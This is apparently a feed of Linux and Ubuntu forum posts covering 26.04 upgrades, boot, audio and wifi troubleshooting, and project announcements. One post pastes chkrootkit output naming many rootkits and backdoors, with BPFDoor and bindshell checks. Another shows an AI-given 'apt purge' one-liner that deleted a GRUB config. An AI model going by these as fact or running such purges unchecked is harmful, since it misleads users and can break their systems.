It is a Raspberry Pi focused fork of RQuickShare, made for Raspberry Pi OS 64-bit on ARM64. The goal is to make Android Quick Share work naturally on the Pi, with a real desktop app experience instead of a generic Linux build that doesn't support Pi hardware.

This is currently v0.0.1 alpha, but it is already public and usable for testing.

What it does:

Lets a Raspberry Pi send files to Android Quick Share devices

Lets Android phones send files to the Raspberry Pi

Runs as a desktop app on Raspberry Pi OS

Supports tray behavior

Can start hidden in the tray on boot

Includes Pi focused install and uninstall scripts

Includes a wiki with setup, boot behavior, troubleshooting, and Samsung notes

Is built and tested on real Raspberry Pi hardware

Important note for Samsung users:

On Samsung phones, "Share with Apple devices" can prevent the Pi from appearing during Quick Share discovery. The wiki documents the setting to turn off if your phone does not see the Pi.

Links:

Website:

https://eladbg-code.github.io/rquickshare-pi/

GitHub:

https://github.com/EladBG-code/rquickshare-pi

Releases:

https://github.com/EladBG-code/rquickshare-pi/releases

Ko-fi support (completely optional):

https://ko-fi.com/eladbg

P.S: If you can't support with Ko-fi but still feel like you want to support this project (and me in general) just star the repository on GitHub! (both of these are completely fine)

RQuickShare Pi is based on the open source RQuickShare project and keeps the GPL-3.0 license and credits. This fork is independent and focused specifically on Raspberry Pi OS ARM64.

I would love feedback from other Raspberry Pi users, especially anyone testing with different Android phones or different Pi setups.

This project was made with much ❤️ for the community.

I became a Linux user a few months ago after accidentally installing Ubuntu on my computer. I have the 25.10 release on my Lenovo IdeaPad 1 14IAU7. Today when I checked the updates, I found out that I can update directly from this release to the 26.04 one directly, but I'm very unsure if I should jump the gun so quickly because of the experience of when other OSs make new releases that come with bugs and errors. However, I don't know if I should stay in this release even if the support life ends in July of this year.

Should I install it now, or should I wait until a more stable version is released?

https://x.com/v12sec/status/2055282721212252178?s=20

Are we having fun yet?! I don't think most will be affected by this though, requires CXL as far as I can tell.

This has got to be the craziest couple of weeks in IT I've ever seen, and the direction of travel doesn't look good, I wasn't expecting a qemu escape so soon...

I faced two minor issue.

1 - Ubuntu Dock Is Gone

sudo apt reinstall gnome-shell-extension-ubuntu-dock 

2 - Search Light Extension Not Working Currently(If You Are Using)

Fix:

-Add 50 To Extension Manifest JS/shell-version

-Remove The "affectsInputRegion" Parameter In Extension JS

You can find extension files in ~/.local/share/gnome-shell/extensions/...

Relogin

After suspending the system with Meta+L and leaving the computer for a while, I encounter this screen. I'm forced to perform a hard reboot via the power button or use the REISUB to restart. Has anyone experienced this, or does anyone know a solution? Kernel 7.0.0-15-generic

Update on Bluefin Dakota which is based on GNOME OS.

Money quote:

But we are a forcing function - the dinosaurs are there to remind us that only the best survive the harshest ecosystems. This is especially true in the resourced starved Linux desktop ecosystem. We will continue to push. Some software is not going to make it. See you in the trenches, thanks!

It's a long read but worth it!

Also, Jorge Castro will have a talk at Linux App Summit on Sunday about pieces of this post make sure you catch that. (see another post on linuxappsummit)

[edit] forgot to add the link - https://docs.projectbluefin.io/blog/making-our-own-fate/

Hello,

I updated my Kubuntu 25 to 26 last night and I am completely stuck with a broken KDE Plasma for my main user account. I have chatgpted it, I have searched the website and tried every possible way of deleting my profile settings for Kde Plasma of that user account but in vain. I am not able to get any panels on the desktop and its loading extremely slow. Oddly enough it works absolutely fine on another user account. How does one completely wipe the entire KDE settings for a user? I have tried removing: ~/.cache, ~/.config, and ~/.local/share but its not resetting

Those of you in a friendly western european time zone - this year's Linux App Summit starts tomorrow with Lennart Poettering as our keynote speaking. Other great talks over the weekend will be a status update on flatpak, various talks on infrastructure, and local-first applications. Plenty of great content for those wanting to know what's happening with apps and games on the Linux platform.

We'd love to see a lot of online registrations, there is no cost for registration - so please head over to https://linuxappsummit.org/ and register online for the conference!

Looking forward to seeing you all there!

Long story short, I just did an in-place upgrade from 25.10 to 26.04. After some troubleshooting for a program I built from source, I decided I wanted to clean up some old stuff.

As a Linux newbie, I was helped by AI, which made me notice I had some old kernel images and other packages marked as rc (marked for removal, afaik). I was handed this command:

sudo apt purge $(dpkg -l | grep '^rc' | awk '{print $2}') 

It looked pretty safe, and I think it’s also a pretty common command in tutorials, etc.

Apparently, I had a package called grub-pc, which should no longer be needed for my laptop (I never touched GRUB manually). But it seems to have a post-removal script that attempts to completely remove /etc/grub. I got a scary prompt and selected NO, but my /etc/default/grub file was apparently deleted anyway.

To fix it, I ran these commands:

sudo apt install --reinstall grub-efi-amd64 sudo grub-install --target=x86_64-efi --efi-directory=/boot/efi sudo update-grub 

Hope it’s fixed. Let me know if that’s enough. The default file is present again now.

When I asked Claude to look up what actually happened, it found the following bug reports, so this seems to be a long-standing bug causing this behavior:

• https://lists.snapcraft.io/archives/foundations-bugs/2020-May/421921.html
• https://bugs.launchpad.net/ubuntu/+source/grub2/+bug/1879466/+index

Well..... everytime i used to distrohop and then come back to Ubuntu obviously.....so configuring the terminal every time was a hassle and thus made this repo in github with set of personalized themes and more .....

I am open to all suggestions.....my goal is to have the ultimate terminal, so guys HELP and leave all your suggestions

here is the link :

PRE-CONFIGURED TERMINAL FOR UBUNTU

I have recently discovered a bug with Ubuntu that causes the bandwidth of my home wifi to be extremely limited. I have tested it on 3 different computers, using Ubuntu 26.04, Ubuntu 24.04, as well as Mint 22.2. All have their upload speeds limited to around 10-20mbps when the wifi can easily reach speeds of 300+mbps. I have tried using Ubuntu on different networks and the wifi has no issues. Connecting to my phone hotspot connected to the same Internet gives higher bandwidth then directly connected. I am now using Debian 13 and the issue does not affect it. Any support would be greatly appreciated, as until this issue is resolved I can not use Ubuntu (or any OSs based off of it) on any computers connected to my network.

TL:DR

Wifi speed is terrible on Ubuntu connected Xfinity home Internet, but not on other networks or distros.

Reduces asdf to just a handful of commands, simplifying all complexity around manual plugin management, serial installs, and unclean DX.

- Dead simple: Handful of self-explanatory commands.

- No plugins: No manual plugin management, we do it all for you.

- Faster installs: Quick setups so you can have your tools ready ASAP.

- .tool-definitions: A new declarative way to define custom tools.

- Cleanest DX: See it for yourself!

Anyone facing constant freezing on the new Ubuntu? If so, have you found any strategies to mitigate the issue, besides moving away from Wayland?

I just installed Ubuntu 26 Desktop on my old laptop (Ryzen 5 + 6GB RAM) and I’m planning to use it as my daily driver while also running a small home lab setup on it.

Since the hardware is a bit limited, I’m looking for:

• A lightweight browser that uses minimal RAM/CPU but still supports modern web apps smoothly
• Good productivity apps for Linux
• Useful utilities/tweaks/tools that improve the Ubuntu experience
• Any homelab-friendly tools or monitoring apps that work well on low-resource systems

Current priorities are stability, low resource usage, and responsiveness over flashy features.

Would love to hear what you all use on older Ubuntu machines.

Is there really a need to find the perfect distro?

I've been using Ubuntu as my main driver for about 16 months. Before that, I used WSL2 heavily for several years. Some things in Linux I know pretty well, but like many people, there are vast regions of the OS that I don't know very well at this point. For instance, I use `xargs` and `rsync`, but I don't use `cron`, and I don't know the first thing about display managers--I don't even know the right terminology to use for them. I figured out, with Claude's help, how to create a systemd service unit, but try as I might, I've never been able to *really* figure out `htop`, so the best I can do is kill a process by pid.

I spend a lot of time learning Linux, but I know a lot of people love to debate about various distros. My question is: for someone who uses Linux personally and professionally, including using VS Code, is there any need whatsoever to trouble oneself with the endless discussion of this distro versus that distro? I wound up choosing Ubuntu because it was really the only one that I knew of. It was literally the default option in WSL2, it seems to have a lot of documentation around it, and though it wasn't as easy as Windows, it was pretty polished.

What am I missing about this whole distro discussion that other people find so compelling? What exactly am I missing out on by just using boring old Ubuntu?

I just want to thank the whole community for providing such a valuable, useful, revolutionary and in some ways sacred experience for free. I used Ubuntu over a decade ago for a few years but was gifted a macbook and kind of slowly stopped using my Linux computer. I recently decided enough was enough and got back on the open source train. While I've been getting used to using linux again I have found so many helpful people and posts and videos all over the internet. I've also seen and heard many beautiful explanations of why human rights are something separate from political biases. I came for the kernel and software but I'm staying for the community values. Thank you Linux community for providing me with a safe harbor of like minded people during this strange and scary time. And for giving me the plans and materials to build an awesome boat (my computer). The one place I can always be assured that everything will make sense. That's a nice little reset for my brain at the end of each day. Things work the way they are supposed to for a brief change and that helps me get reoriented to take on whatever crazy stuff the world throws at us the next day.

Hi all,

Just had a weird experience installing Ubuntu 26.04.

I made a flash drive and installed it on a laptop, no problem.

Then I tried to use that same flash drive on an old desktop (core-i3 circa 2011).

Well, it hadn't been used for a long time and the clock was set to the bios defaults of sometime in 2011.

After trying multiple attempts and watching the spinning circle I hit escape and could see a bunch of error messages.

I tried a bunch of different things, disabling secure boot, trying different usb ports, still got the same result. Must've rebooted about 20 times or so.

I loaded the flash drive into the other system and could see install logs being written on the "writable" partition that had dates of 2011.

Then I thought, maybe there's some kind of encryption/authentication going on that depends on the system time. Like in web browsers if your system time isn't set right, certain webpages just won't load due to certificates and https.

After I set the system time to may 2026, worked without a problem.

Is it just me or is the "Safely Eject Device" option gone with Ubuntu 26? Does anyone know the reasoning here? Google is not spilling much on the topic.

[edit] workaround So, `disks` still has the option to power off the drivers, and it still works, so that is what I used. Still unable to do it through nautilus.

Bonjour,

Mon écran HDMI externe + mon vidéoprojecteur HDMI ne sont plus reconnus alors que cela fonctionnait parfaitement avant. Je n'ai pas fait d'installation ou modification particulière.

L'écran et le vidéoprojecteur indique "aucun signal détecté". Pour le vidéoprojecteur, "NEC corporation" apparaît pourtant bien dans les paramètres "écrans" d'ubuntu mais rien ne s'affiche.

J'ai essayé de passer sur Wayland mais pas de changement + fait commande "update, upgrade, autoclean, autoremove"...

Quelqu'un aurait-il une idée ?

Merci d'avance !

Ma config :

Ubuntu 24.04.4 LTS

Intel® Core™ i7-7500U × 4

Intel® HD Graphics 620 (KBL GT2)

Noyau : Linux 6.8.0-117-generic

I was playing around with my fingerprint reader today and landed on [linux-pam/linux-pam (#301)](https://github.com/linux-pam/linux-pam/issues/301), where you can read that proper implementation of \`any\` directive is impossible simply due to missing manpower.

How come such a core project as PAM is missing manpower? Most of the big distros (if not all) are using PAM and the man behind it doesn't have enough time for it. Does he even have time to address new vulnerabilities popping up? Why is it even a single man operation? What are the distros planning to do when he's not capable of maintaining it anymore?

It seems so weird that something so core to modern Linux is left by itself to wither.

The first OS I touched was ChromeOS, first real OS was Debian 12 in a VM inside of a container (crostini). This was all before I could even think of getting another computer. I can barely even remember why I turned on crostini, probably for programming because I was interested in it at the time & I still am.

When I did get a new computer just recently, it was on windows, locked to Chinese through the license (I got the laptop from China), but I was already intending to install Gentoo after having installed Gentoo on an old 15 year old windows computer lying around. So Linux was kind of a no-brainer for me, as can't use Chinese windows, & using windows is like transitioning to Linux for the normies, also, I was already engrained in the Linux environment, I loved Niri, even on the old 15 year old laptop.

Just wanted to share my story, more or less.

Mhm… Today it got up this way.
It asked me the disk password as usual than it showed this screen.
It was sufficient to reboot it manually, then it asked if I would enter the bios but I simply skipped that and selected to boot it. Now it’s fine.
Quite strange isn’t it?
It’s Ubuntu 26.04 LTS.
Anyone got the same behavior?

Watched The Linux Experiment's latest video, and it drove me to check other Linux mobile OS projects. Honestly, my only reaction was disappointment at the way Ubuntu Touch, Plasma Mobile, and PostmarketOS all make the mistake of treating mobile like it's a desktop. I've used many phones in my life (currently a Samsung S Ultra), and I have noticed how much bottom-centric and one-handed friendliness improved my experience. Linux developers who work on mobile OS projects genuinely miss this aspect of mobile, which, to be fair, everyone else in the Android and iOS ecosystems mess up too. They really need to start treating mobile as different hardware with different I/O; otherwise, even actual Linux enthusiasts might be put off by the terrible experience.

Been a while since I last used Ubuntu, and now that it's 26.04, I'd like to check if running VMware Workstation Pro requires disabling Secure Boot. My current setup, where Ubuntu is installed, has Secure Boot enabled. I just want to clarify this and if there's any other way to make it work.

so, i've had ubuntu installed to dual-boot with win10 for a while but haven't gotten far with using it because the updater says the package system is broken. So I wanted to try a fresh reinstall but i'm stuck at the partitioning bit. I don't want to install this alongside the first Ubuntu install. The "erase disk and install" option looks as if it will erase the entire drive not just the partition I already have set apart for it. The manual partitioning option is apparently too advanced for me as I'm completely baffled as to why it won't let me hit next until i've allocated space on all 3 of my HDs rather than just the one partition I want it installed on. I desperately want to learn linux and I would greatly appreciate any advice on how to get it to a basic functional state.

Just FYI, there are three new kernels released yesterday: 7.0.7, 6.18.30 and 6.12.88. There isn't specific thing that they fix but they are the regular "everyone should update" releases that have a bunch of fixes at once.

Potentially with recent disclosures there might be new versions soon or we'll see fixes in the regular updates.

BudsLink is now available on Flathub.

It allows you to monitor battery levels and control various headset features such as:

• Noise Cancellation / Ambient Mode
• Touch controls
• Automatic power off
• Equalizer settings
• Device-specific features depending on compatibility

The app is based on my GNOME extension Bluetooth Battery Meter, but I decided to create a standalone application so users on other desktop environments can use the same functionality.

• AirPods / Beats headsets & earbuds See compatibility list
• Sony headsets & earbuds See compatibility list
• Samsung Galaxy Buds See compatibility list
• Nothing / CMF devices See compatibility list

Not every device has been fully tested yet, so feedback is highly appreciated. Community testing helps improve compatibility and expand the supported device list.

BudsLink can also run as a background service. When used together with BudsLink-Companion applets/widgets, the UI can automatically appear when a compatible device is connected.

Currently available for:

• KDE Plasma Widget
• Cinnamon Spices
• GNOME Extension

See relevant branch here

The default configuration works well, but I have not yet submitted the KDE Plasma and Cinnamon versions to their official stores/sites. I am primarily a GNOME user, and KDE/Cinnamon provide extensive customization options that are difficult for me to fully test every settings on my own.

If you use KDE Plasma or Cinnamon, feedback about compatibility, panel behavior, scaling, theming, or other integration issues would be very helpful and would help me prepare the extensions/widgets for official submission.

Feedback, bug reports, and device testing are all welcome.

Special thanks to the other open-source projects I referenced and learned from during development, all of which are mentioned in the credits section of the README documentation.

Next step is Sennheiser and Redmi if user are willing to test and/or provide btsnoop.

Show me your setups!❤️❤️

Hello there,

I'm working on a fresh install of 26.04 alongside W11.

I already have rEFInd installed in my ESP and don't want to install Grub with Ubuntu. I can't find the way to disable that.

Also, I wanna mount my ESP to /efi. Is it possible to do that from the installer or should I modify the fstab after the install?

Thanks for your help 🙏

Does anyone know if this gonna work?

(Photo 1) One of the screens I get after resizing. Sometimes it will also flash from semi-normal to this when I move my mouse around.

(Photo 2) What happens when I draw my mouse around a lot on the home screen.

So about a day ago, I log on to my computer to notice that the scaling is at a size that it is not normally at. I have not been having any technical difficulties before this. I also notice that I have no audio output and the volume just says "dummy output." When I try to open Firefox the opening animation is a bit odd and the app is really laggy. Same with the other apps I open. I go to settings to fix my scaling, change the value and then it really starts to get weird. As seen in photo 1 there are bad visual glitches that happen when I open apps, hover over things, or even when I just move my mouse a bit. My mouse also has some sort of alternating box behind it that stays like it is in a drawing program (Photo 2). Log out still works and everything works generally fine, just with the exception that I have glitches literally everywhere covering my screen. I have no idea what could have caused this. I am currently on 24.04, 9800X3D processor and 5700 graphics card.

Side note- My pc is kinda dusty and I was going to clean it out soon (just a small layer of dust on things inside the pc) but I don't think that could cause this level of visual glitches.

This isn't my project but I think it deserves attention.

This app aims to handle video editing, raw image editing, simple vector graphics and animations, and obs-like handling of streams.

It's completely hardware accelerated and even though development only started 4 weeks ago, it looks really good.

It also has a nod-based ui

Here is the latest update about the app for those interested:

https://youtu.be/L1O2ALT0A14?si=CqoZWm9SKOao6Ppa

I have used dual boot windows and Zorin for over two years now and no issues. This morning i turned on my PC and it said 'enter setup to recover bios'. I entered setup and Ubuntu is no longer displayed.

I've tried turning it on and off but aside from that haven't tried anything. Don't want to lose all my stuff on my hard drive as some of it is very important to me.

Cheers.

Hello!

I'm fairly new to Linux, so feel free to explain as if I'm a very dumb child ...

I'm using my Ubuntu 26.04 as a media server with Jellyfin. After a reboot, Jellyfin can no longer access my media drive because root keeps taking ownership of a folder in the path - specifically: /run/media/justin

I do a chown and change ownership to justin:justin and set permissions to allow access and everything works great ... I reboot and owner is changed back to root:root

How do I resolve this so I don't have to keep taking it over every time?

I recently switched fully from Windows to Ubuntu and I’m facing an audio issue with my laptop speakers because when I increase the volume beyond a certain level, the internal speakers start cracking/distorting heavily. If I keep the volume lower, audio is completely fine.

This does not happen on Windows.

Headphones (USB EarPods) work fine.

• EasyEffects (EQ, compression, limiter)
• Adjusting system volume levels and profiles

These reduce the issue slightly, but distortion still occurs once volume crosses a threshold.

Laptop: HP Laptop 15s-fq2xxx (6N045PA#ACJ)
OS: Ubuntu 26.04 LTS (resolute)
Kernel: 7.0.0-15-generic
CPU: Intel i3-1115G4 (11th Gen)
Audio stack: PipeWire 1.6.2 (PulseAudio compatibility layer)
Audio hardware: Intel SOF HDA DSP (sof-hda-dsp)

Default sink: USB Apple EarPods
Internal speaker sink: alsa_output.pci-0000_00_1f.3-platform-skl_hda_dsp_generic.HiFi__Speaker__sink

• Issue only on internal speakers
• External audio devices work normally
• Seems like clipping/gain issue rather than hardware failure

Any fixes or known workarounds for:

• PipeWire / WirePlumber gain clipping
• SOF HDA DSP tuning issues on HP laptops
• Missing Linux audio calibration compared to Windows

Recently, I installed Proton VPN on my Ubuntu system, and after switching it on and opening a browser, it crashed after 5 minutes. I tried it on different servers and browsers, but the outcome was the same: it crashed. Every time I had to force a shutdown of the system. I uninstalled the VPN and now Ubuntu works perfectly again. I am not sure what happened because I have Proton VPN on another machine ( Linux Mint) and it works without any hiccups.

Hi all, could use some help if you got a minute. I’ve set up a Foreman server to provision virtual machines (on hyper-v but I’m not utilizing the compute setup since I figure it’s not supported) and bare metal servers. So far for testing I’ve been setting up a test virtual machine to verify the functionality of the DHCP, TFTP, and provisioning process within my subnet I’ve created. So far everything works with the Debian preseed templates right out of the box but not the kickstart templates. I can’t quite rack my head around why though. I figure is there some extra preconfiguration step I must be missing somewhere?

For those upgrading, the change from Evince to Papers came with a few issues, like, no thumbnails by default.

I got new steam controller while trying to figure it out I decided to install/change

Steam-device

Proton beta

Reinstall steam with terminal

Now the steam app icon doesn't really display, the opening of apt seem slower and sometimes it just freezes. Has anyone had this issue?

All temps and usage percentage seem normal.

I created qsensors a Xsensors like application. I always liked the look of Xsensors and the simplicity. It shows the lm-sensors exactly as you configured them. Trying to get what I want using the KDE Systemmonitor I got frustrated. All I wanted to see were the sensor values that I configured in my sensors.conf.

Xsensors still works fine, but well its using X11. So I wrote something that kind of replicates the style and simplicity but uses QT and Wayland.

Qsensors uses libsensors to read the values and shows any chip that has at least one sensor. Your configured labels, limits and ignores are used this way.

Maybe you like that too :) The repo contains a gentoo ebuild that you can copy to your local repo, or manual build instructions.

The version 0.80.1 was choosen because the last version of Xsensors that I used was 0.80.

https://github.com/ccharon/qsensors

Default theme, zzz-icewm, redmond and ubuntu regular size 11 fonts. 112% scaling. 15' screen laptop.

I installed the Linux kernel v7.0.4 after I installed AntiX26 to get my wifi up and running. Lenovo Ideapad slim 3; modern laptop, but a little weak. I'm very happy with my setup;

I had to boot the live image with kernel v6.x.x just to get my keyboard working. But after the main install of the Antix26 system, I then installed kernel v7.0.4.

This is how I did it; follow these steps to get wifi + kernel 7.0.4:

(before you start, make sure that your wifi card is not soft-blocked(Airplane mode): type in your terminal: rfkill list, if its blocked try to unblock by: sudo rfkill unblock all, or the shortcut for airplane mode on your keyboard. Is your wifi working now? if not, continue. )

1. Find a way to connect to the internet. I had to use internet through USB-cable from my Phone.
2. Install the firmware-mediatek driver, by typing this in the terminal: sudo apt install firmware-mediatek, then reboot. But just to be sure you can also install: firmware-misc-nonfree and/or firmware-linux-nonfree. Check what kind of wifi card you have. Google Ai is very helpful finding out stuff for you, and what kind of drivers you need to install. (at this step you can try a reboot your laptop and see if you can get wifi working, if not continue to next step.)
3. Then install the linux-image-7.0.4+deb13 from the debian backports, it should also install the dependencies for you, so please check that before you continue. After the new kernel is installed, write in the terminal: sudo update-grub, now you can reboot into your fresh kernel and wifi should be working.

linux-image-7.0.4+deb13 <your cpu type>, please double check that it also installing dependencies. It should do it for you. Remember sudo update-grub after the install.

(firmware-mediatek did not work for me while using kernel 6.x.x, but after the 7.0.4 update wifi started working.)

Quality of life, 100% screen brightness after every reboot and fix screen tearing:

.desktop-session, startup file. This is what it looks like at the bottom. Continue reading for where to find it:

I also added these two lines at the bottom of my startup config file. You will find it in Control Centre -> Session -> Users Desktop-session ( text file from .desktop-session, startup.) Remember to save after changes:

backlight-brightness -s 100 &

xrandr --output eDP --set TearFree on &

One is to get 100% backlight on my laptop after every reboot so I dont have to adjust it every time, and the other one is for removing screen tearing. But before you add xrandr to your startup file: run xrandr in the terminal to check if you have eDP or some other screen type. Terminal command: xrandr <press enter>. Just place your screen type instead of eDP in the startup command as I have written above. Remember to save your file and reboot. This is my screen type from the terminal:

https://preview.redd.it/6gkmcpy41y0h1.jpg?width=761&format=pjpg&auto=webp&s=0c24a067191a6409350d7092d188d4162914159c

To check if TearFree is running after a reboot, just write in your terminal: xrandr --verbose | grep TearFree .. it should say TearFree: on, and you should notice it when you scroll up and down on websites that screen tearing is gone.

Quality of life 2, show battery info:

Now you have to open another text file!

If you want to see your battery %, just open Control Centre -> Configure Conky -> And find the line that says something like this (should be at the bottom):

#Battery: ${battery_percent BAT0}% ${alignr}${color8}${battery_bar 8,70 BAT0}

... and just remove the # and save file. You will now see your battery % on your desktop. Now you're done!

Continue reading for setting up theme, scaling, touchpad and fonts ...

Now I recommend that you scale up your fonts DPI in your control centre. I have mine set at 1.17:

This is my dpi settings 15' laptop

My other settings for Look and Feel:

Redmond and change font to Ubuntu regular size 11

Full hinting; but you could also try slight or medium. Try whats best for you.

Select default theme

And for my touchpad mouse sensitivity. Go to Control Centre -> Hardware -> Mouse -> Select touchpad(rolldown menu) -> then a window like this will pop up. Remember to check mark before Applying:

Touchpad mouse sensitivity

ROXTerm font. Go to Preferences -> Configuration Manager -> Select Default, press edit -> Font: Noto Mono Regular, Size: 11

Extra tip 1: Firefox default scaling is set to 110% in the settings, but personal preference.

Extra tip 2: Shortcut for taking a screenshot is FN+S on my keyboard. Could be different on your laptop.

This was very fun; will be my main distro on my laptop. Everything just works. No fuzz. Sharp fonts, sharp theme, bluetooth-audio on my headset, wifi and low ram usage! :)

If so, how!!!!!?
😁

So I was messing around on my desktop today, installed ubuntu 26.04 like two weeks ago on it. Finally have it like 99% working how I want/need. Got a flat pack version of Bambu Studio installed today and it was working great, printed a model and connected to my H2D just fine. About 5% of the way into the print I get a notification about "kloz_nuke" being ready. I don't believe I dismissed the notification, but it then did disappear about 5 minutes later when I went to look at it again after some googling.

I can't find a thing about it. Google turns up nothing. Gemini (I know I know, I hate AI and given that I can't find a single page talking about it I am assuming it's hallucinating) says that it's often referring to a kali linux command to delete the crypto keys for your hd to make your drive inaccessible. I can't find ANY sources for this.

Debsums comes back clean, but chkrootkit comes back with the following:

ROOTDIR is `/' Checking `amd'... not found Checking `basename'... INFECTED Checking `biff'... not found Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `crontab'... not infected Checking `date'... INFECTED Checking `du'... not infected Checking `dirname'... INFECTED Checking `echo'... INFECTED Checking `egrep'... not infected Checking `env'... INFECTED Checking `find'... not infected Checking `fingerd'... not found Checking `gpm'... not found Checking `grep'... not infected Checking `hdparm'... not infected Checking `su'... not infected Checking `ifconfig'... not infected Checking `inetd'... not tested Checking `inetdconf'... not found Checking `identd'... not found Checking `init'... not infected Checking `killall'... not infected Checking `ldsopreload'... not infected Checking `login'... not infected Checking `ls'... not infected Checking `lsof'... not infected Checking `mail'... not infected Checking `mingetty'... not found Checking `netstat'... not infected Checking `named'... not found Checking `passwd'... not infected Checking `pidof'... not infected Checking `pop2'... not found Checking `pop3'... not found Checking `ps'... not infected Checking `pstree'... not infected Checking `rpcinfo'... not found Checking `rlogind'... not found Checking `rshd'... not found Checking `slogin'... not found Checking `sendmail'... not infected Checking `sshd'... not found Checking `syslogd'... not found Checking `tar'... not infected Checking `tcpd'... not found Checking `tcpdump'... not infected Checking `top'... not infected Checking `telnetd'... not found Checking `timed'... not found Checking `traceroute'... not found Checking `vdir'... not infected Checking `w'... not infected Checking `write'... not found Checking `aliens'... started Searching for suspicious files in /dev... not found Searching for known suspicious directories... not found Searching for known suspicious files... not found Searching for sniffer's logs... not found Searching for HiDrootkit rootkit... not found Searching for t0rn rootkit... not found Searching for t0rn v8 (or variation)... not found Searching for Lion rootkit... not found Searching for RSHA rootkit... not found Searching for RH-Sharpe rootkit... not found Searching for Ambient (ark) rootkit... not found Searching for suspicious files and dirs... WARNING WARNING: The following suspicious files and directories were found: /usr/lib/debug/.build-id [From Debian package: libc6-dbg:amd64] /usr/lib/virtualbox/.autoreg [From Debian package: virtualbox-7.2] /usr/lib/firmware/ath11k/QCN9074/hw1.0/.notice.zst [From Debian package: linux-firmware-qualcomm-wireless] /usr/lib/modules/7.0.0-15-generic/vdso/.build-id [From Debian package: linux-modules-7.0.0-15-generic] Searching for LPD Worm... not found Searching for Ramen Worm rootkit... not found Searching for Maniac rootkit... not found Searching for RK17 rootkit... not found Searching for Ducoci rootkit... not found Searching for Adore Worm... not found Searching for ShitC Worm... not found Searching for Omega Worm... not found Searching for Sadmind/IIS Worm... not found Searching for MonKit... not found Searching for Showtee rootkit... not found Searching for OpticKit... not found Searching for T.R.K... not found Searching for Mithra rootkit... not found Searching for OBSD rootkit v1... not tested Searching for LOC rootkit... not found Searching for Romanian rootkit... not found Searching for HKRK rootkit... not found Searching for Suckit rootkit... not found Searching for Volc rootkit... not found Searching for Gold2 rootkit... not found Searching for TC2 rootkit... not found Searching for Anonoying rootkit... not found Searching for ZK rootkit... not found Searching for ShKit rootkit... not found Searching for AjaKit rootkit... not found Searching for zaRwT rootkit... not found Searching for Madalin rootkit... not found Searching for Fu rootkit... not found Searching for Kenga3 rootkit... not found Searching for ESRK rootkit... not found Searching for rootedoor... not found Searching for ENYELKM rootkit... not found Searching for common ssh-scanners... not found Searching for Linux/Ebury 1.4 - Operation Windigo... not tested Searching for Linux/Ebury 1.6... not found Searching for 64-bit Linux Rootkit... not found Searching for 64-bit Linux Rootkit modules... not found Searching for Mumblehard... not found Searching for Backdoor.Linux.Mokes.a... not found Searching for Malicious TinyDNS... not found Searching for Linux.Xor.DDoS... not found Searching for Linux.Proxy.1.0... not found Searching for CrossRAT... not found Searching for Hidden Cobra... not found Searching for Rocke Miner rootkit... not found Searching for PWNLNX4 lkm rootkit... not found Searching for PWNLNX6 lkm rootkit... not found Searching for Umbreon lrk... not found Searching for Kinsing.a backdoor rootkit... not found Searching for RotaJakiro backdoor rootkit... not found Searching for Syslogk LKM rootkit... not found Searching for Kovid LKM rootkit... not tested Searching for Tsunami DDoS Malware rootkit... not found Searching for Linux BPF Door... WARNING WARNING: Possible Linux BPFDoor Malware installed: /proc/2154/stack /proc/8849/stack Searching for suspect PHP files... not found Searching for zero-size shell history files in /root... not found Searching for hardlinked shell history files in /root... not found Checking `aliens'... finished Checking `asp'... not infected Checking `bindshell'... not found Checking `lkm'... started Searching for Adore LKM... not tested Searching for sebek LKM (Adore based)... not tested Searching for knark LKM rootkit... not found Searching for for hidden processes with chkproc... not found Searching for for hidden directories using chkdirs... not found Checking `lkm'... finished Checking `rexedcs'... not found Checking `sniffer'... WARNING WARNING: Output from ifpromisc: lo: not promisc and no packet sniffer sockets enp8s0: PACKET SNIFFER(/usr/sbin/NetworkManager[2218]) Checking `w55808'... not found Checking `wted'... not found Checking `scalper'... not found Checking `slapper'... not found Checking `z2'... not found Checking `chkutmp'... not tested Checking `OSX_RSPLUG'... not tested 

But then I also see some people saying chkrootkit isn't meant for modern gui systems, and I get that 26.04 is brand new and might not really be up to date with chkrootkit. Also running it on a 24.04 virtual machine I have did not show the same infections.

Am I screwed?

Hi so I’m trying to install Ubuntu 26.04 LTS on my old HP Model 17 ca1212ng and I’m getting stuck in bootloop after GRUB. I have secure boot off, tried starting in safe graphics mode. Tried both MBR and GPT installation. I feel stuck. Did anyone have a similar problem?

i tried this method in this old thread but didn't help https://www.reddit.com/r/Ubuntu/comments/13jvu2f/ubuntu_desktop_settings_do_not_appear/ (deleting the gnome extensions etc)

not sure what to do.

Hey everyone!

I've always found it painful to uninstall apps on Linux. I use GNOME, and to this day, there's no uninstall button in the app grid. I'd see an app I wanted to remove and then have to stop and think: was this a Flatpak? A Snap? A system package? And what's its identifier again? Every time it felt like more friction than it should be, so I built a tool to fix that.

• It lists all your installed apps (system packages, user-local packages, Flatpaks, Snaps, and AppImages) in a single searchable view, and lets you install any of them with a click of a button.
• Shows app icons and identifiers so you know exactly what you're removing
• Filter by package type if you only want to see Flatpaks, Snaps, etc.

You can find the installation commands in the README:

https://github.com/r6mez/App-Terminator

I'd love to hear what you think, and if there are package types or features you'd want to see added.

https://reddit.com/link/1td20zh/video/fziclquai41h1/player

Hi all, this Is my First time to post a question. I have a strange problema After upgrade from 25.10 to 26.04
If i start with the Linux image 7.0.0-15 the computer stop tò start but if i take Linux 6.17.0-23 the syatem start normally.
Before to upgrade i have a Timeshift image for backup and my filesystem Is ext4
How i can fix tò boot with the new Linux image?
The error can see in the images

No boot with linux 7.0.0-15

Boot ok with Linux 6.17.0-23

Thanks for the help.

Hi, I'm using ubuntu pretty long and what've noticed with nvidia driver gives sometimes VERY big number for power consumption in nvidia-smi.
https://i.imgur.com/eFAp5An.png
I can't be sure about other versions, but I've noticed that also on 580 driver before. Am I the only one? It looks like driver fails to retrieve the actual data and 749 is just a placeholder or overflow.

Yo, when i was researching for what trackpad to get for my ubuntu PC i couldn't find any sources so i'd like to share my own source for people like me!

If you're looking for a trackpad the only and best option is the Apple Magic Trackpad (USB C), Also to clear some misinformation

- ✅️ Plug & Play

- ✅️ Full Gestures

- ✅️ Bluetooth works perfectly

- ✅️ No 3rd party drivers

- ✅️ Works in wired and wireless mode

- ✅️ Haptics Works

- ✅️ Palm rejection works

- ✅️ Trackpad Gestures in apps

- ✅️ Smooth Scrolling

- ✅️ Works in BIOS

If you're looking for a trackpad the apple magic trackpad is literally the best option (Yes, even considering the price its still better than every competitor) hope someone one day finds this helpful!

hey all, just released waybound!

it's a small wayland util that stays out of the way until you hit a boundary, then runs the command you configured ;) jk

